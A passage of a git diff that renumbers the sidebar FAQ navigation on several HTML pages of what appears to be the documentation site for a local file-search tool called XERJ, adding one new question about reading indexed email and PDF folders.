lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class="active"><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/what-is-xerj.html b/landing/answers/what-is-xerj.htmlindex abf88b2bf..bab67687f 100644--- a/landing/answers/what-is-xerj.html+++ b/landing/answers/what-is-xerj.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class="active"><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class="active"><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/why-autoindex-skipped-files.html b/landing/answers/why-autoindex-skipped-files.htmlindex 58f534d69..25fb49c7d 100644--- a/landing/answers/why-autoindex-skipped-files.html+++ b/landing/answers/why-autoindex-skipped-files.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class="active"><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class="active"><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/index.html b/landing/compare/index.htmlindex 7365e0f4c..5b0129996 100644--- a/landing/compare/index.html+++ b/landing/compare/index.html@@ -160,43 +160,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ 